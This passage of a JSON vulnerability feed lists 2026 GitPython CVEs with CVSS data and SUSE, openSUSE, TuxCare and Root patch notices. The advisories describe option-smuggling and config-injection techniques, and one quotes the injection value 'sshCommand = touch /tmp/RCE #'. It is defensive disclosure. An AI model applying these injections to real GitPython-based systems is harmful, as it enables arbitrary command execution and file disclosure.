output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)\n\nGitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)\n\nGitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)\n\nGitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)\n\nGitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.(CVE-2026-76219)\n\nGitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.(CVE-2026-76220)\n\nGitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like \u0026apos;sshCommand = touch /tmp/RCE #\u0026apos; to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.(CVE-2026-76221)\n\nGitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.(CVE-2026-76222)\n\nGitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file\u0026apos;s first line verbatim in the exception message.(CVE-2026-78675)\n\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.(CVE-2026-78676)\n\nGitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.(CVE-2026-78677)\n\nGitPython before 3.1.59 contains an arbitrary file read vulnerability in TagReference.create() where a positional reference parameter bypasses the unsafe option guard. Attackers can supply a reference value like --file=\u0026amp;lt;path\u0026amp;gt; to read arbitrary files, with contents returned in the annotated tag message.(CVE-2026-78679)","status":"published","published":"2026-09-14T16:33:43Z","modified":"2026-09-13T16:45:36.847407314Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"PYSEC-2026-3785","description":"GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.","status":"published","published":"2026-08-25T02:16:51.887Z","modified":"2026-09-03T11:00:03.88924449Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"CLSA-2026-1789368141","title":"TuxCare security update for gitpython (5 CVEs)","description":"TuxCare rebuilt gitpython to address 5 CVEs. Fixed in 3.1.31.post12+tuxcare.","status":"published","published":"2026-09-14T06:42:21Z","modified":"2026-10-15T09:48:01.707911221Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"openSUSE-SU-2026:21874-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues:\n\n- CVE-2026-67322: environment-variable exfiltration in `Repo.clone_from()` URL via os.path.expandvars() (bsc#1273357).\n- CVE-2026-67323: unguarded Git options passed as keyword arguments in `Repo.archive()` and `git.ls_remote()` allow\n  for command injection (bsc#1273358).\n- CVE-2026-67325: incomplete command injection blocklist fails to account for git's long-option prefix abbreviation\n  feature and allows for bypass (bsc#1273359).\n- CVE-2026-67326: failure to validate newline characters in the section parameter of `config_writer()` can lead to\n  RCE via `core.hooksPath` (bsc#1273364).\n- CVE-2026-69097: failure to properly escape section names in Git `config` files allows for injection of arbitrary\n  configuration directives through malicious submodule names and can lead to RCE (bsc#1273414).\n- CVE-2026-73619: incomplete denylist in the `unsafe_git_archive_options` guard that omits `--add-file` and `--add-\n  virtual-file` options can lead to arbitrary file reads (bsc#1275755).\n- CVE-2026-73620: failure to guard Git option forwarding in `IndexFile.checkout()` and `TagReference.create()` can lead\n  to arbitrary file reads and writes (bsc#1275756).\n- CVE-2026-73621: argument injection in the `Commit.count()` method allows for destruction/blanking of arbitrary files\n  (bsc#1275757).\n- CVE-2026-73622: failure to disable environment variable expansion in `Remote.create()` and `Submodule.add()` URL\n  handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).\n- CVE-2026-73623: incomplete denylist in `unsafe_git_clone_options` that omits `--template` allows for arbitrary command\n  execution (bsc#1275752).\n- CVE-2026-73624: `Diffable.diff` method fails to validate git options passed through `kwargs`, which can lead to\n  arbitrary file writes (bsc#1275753).\n- CVE-2026-73625: `check_unsafe_options` guard bypass via smuggling of git options inside single-character `kwarg`\n  values can lead to arbitrary code execution (bsc#1275754).\n- CVE-2026-76217: failure to validate options passed to `git rm` and `git checkout` commands in `IndexFile.remove()`\n  and `Head.checkout()` can lead to arbitrary file reads (bsc#1275745).\n- CVE-2026-76218: unguarded git option forwarding in `Repo.init` allows for arbitrary command execution (bsc#1275746).\n- CVE-2026-76219: unguarded `git read-tree` option forwarding in `IndexFile.from_tree/reset/merge_tree` can lead to\n  arbitrary file overwrites (bsc#1275747).\n- CVE-2026-76220: `check_unsafe_options` guard can be bypassed by combining a single-character `kwarg` with\n  `split_single_char_options=False`, which can lead to arbitrary OS command injection (bsc#1275748).\n- CVE-2026-76221: `config-name` injection in the `option-name` validator can lead to remote code execution\n  (bsc#1275749).\n- CVE-2026-76222: failure to validate submodule names from `.gitmodules` files allows creation of Git repositories at\n  arbitrary filesystem paths outside the intended clone directory (bsc#1275750).\n- CVE-2026-78675: failure to disable `merge_includes` when parsing `.gitmodules` can lead to discloseure of local file\n  contents when arbitrary file paths are included via `[include]` directives (bsc#1276434).\n- CVE-2026-78676: failure to safely re-serialize multi-line `git-config` values during write operations can corrupt\n  dormant quoted values into live injected directives (bsc#1276433).\n- CVE-2026-78677: omission of `--separate-git-dir` from `unsafe_git_clone_options` allows for creation of arbitrary git\n  directories outside the intended clone destination (bsc#1276432).\n- CVE-2026-78678: incomplete denylist in the `unsafe_git_revision_options` guard that omits `--contents` and `-S`\n  options allows for reading of arbitrary files when these options to are passed to `Repo.blame()` (bsc#1276431).\n- CVE-2026-78679: positional reference parameter can bypass an unsafe option guard and allows for arbitrary file read\n  via `TagReference.create()` (bsc#1276430).\n- CVE-2026-87817: failure to properly validade the git directory location allows attackers to impersonate the git\n  directory using tracked files and execute arbitrary code by placing pre-commit hooks in the tracked hooks directory\n  (bsc#1279905).\n- CVE-2026-87818: failure to restrict the `--no-index` option in the high-level diff API allows attackers to read\n  arbitrary filesystem paths as repository operands and create content-dependent Boolean oracles (bsc#1279906).\n- CVE-2026-87819: quadratic backtracking in the `Actor.name_email_regex` regular expression allows attackers to cause\n  CPU exhaustion and a DoS via a commit with a malformed author field (bsc#1279907).\n- GitPython unsafe clone option gate bypass through joined short options (bsc#1273498).\n","status":"published","published":"2026-09-18T06:05:46Z","modified":"2026-09-25T18:23:10.581109055Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-PYPI-CVE-2026-78675","title":"CVE-2026-78675 in gitpython - Patched by Root","description":"Root has patched CVE-2026-78675 in the gitpython package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-22T10:34:06Z","modified":"2026-09-22T11:15:06.868901529Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"ROOT-APP-PYPI-GHSA-crmc-f4m7-33fj","title":"GHSA-crmc-f4m7-33fj in GitPython - Patched by Root","description":"Root has patched GHSA-crmc-f4m7-33fj in the GitPython package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-22T10:34:06Z","modified":"2026-09-22T11:15:02.939450711Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"SUSE-SU-2026:4072-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues:\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n  repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n- CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).\n- CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and\n  git.ls_remote() (bsc#1273358).\n- CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix\n  abbreviation feature (bsc#1273359).\n- CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).\n- CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary\n  configuration directives through malicious submodule names (bsc#1273414).\n- CVE-2026-73619: incomplete denylist in the `unsafe_git_archive_options` guard that omits `--add-file` and `--add-\n  virtual-file` options can lead to arbitrary file reads (bsc#1275755).\n- CVE-2026-73620: failure to guard git option forwarding in `IndexFile.checkout()` and `TagReference.create()` can lead\n  to arbitrary file reads and writes (bsc#1275756).\n- CVE-2026-73621: argument injection in the `Commit.count()` method allows for destruction/blanking of arbitrary files\n  (bsc#1275757).\n- CVE-2026-73622: failure to disable environment variable expansion in `Remote.create()` and `Submodule.add()` URL\n  handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).\n- CVE-2026-73623: incomplete denylist in `unsafe_git_clone_options` that omits `--template` allows for arbitrary command\n  execution (bsc#1275752).\n- CVE-2026-73624: `Diffable.diff` method fails to validate git options passed through `kwargs`, which can lead to\n  arbitrary file writes (bsc#1275753).\n- CVE-2026-73625: `check_unsafe_options` guard bypass via smuggling of git options inside single-character `kwarg`\n  values can lead to arbitrary code execution (bsc#1275754).\n- CVE-2026-76217: failure to validate options passed to `git rm` and `git checkout` commands in `IndexFile.remove()` and\n  `Head.checkout()` can lead to arbitrary file reads (bsc#1275745).\n- CVE-2026-76218: unguarded git option forwarding in `Repo.init` allows for arbitrary command execution (bsc#1275746).\n- CVE-2026-76219: unguarded `git read-tree` option forwarding in `IndexFile.from_tree/reset/merge_tree` can lead to\n  arbitrary file overwrites (bsc#1275747).\n- CVE-2026-76220: `check_unsafe_options` guard can be bypassed by combining a single-character `kwarg` with\n  `split_single_char_options=False`, which can lead to arbitrary OS command injection (bsc#1275748).\n- CVE-2026-76221: `config-name` injection in the `option-name` validator can lead to remote code execution\n  (bsc#1275749).\n- CVE-2026-76222: failure to validate submodule names from `.gitmodules` files allows creation of Git repositories at\n  arbitrary filesystem paths outside the intended clone directory (bsc#1275750).\n- CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file\n  content by including arbitrary file paths via [include] directives (bsc#1276434).\n- CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant\n  quoted values into injected directives (bsc#1276433).\n- CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).\n- CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options,\n  allowing attackers to read arbitrary files (bsc#1276431).\n- CVE-2026-78679: an arbitrary file read vulnerability in TagReference.create() (bsc#1276430).\n","status":"published","published":"2026-09-08T07:07:35Z","modified":"2026-09-13T18:23:19.85902049Z","updated_at":"2026-11-02T15:54:05.392906Z"}]}}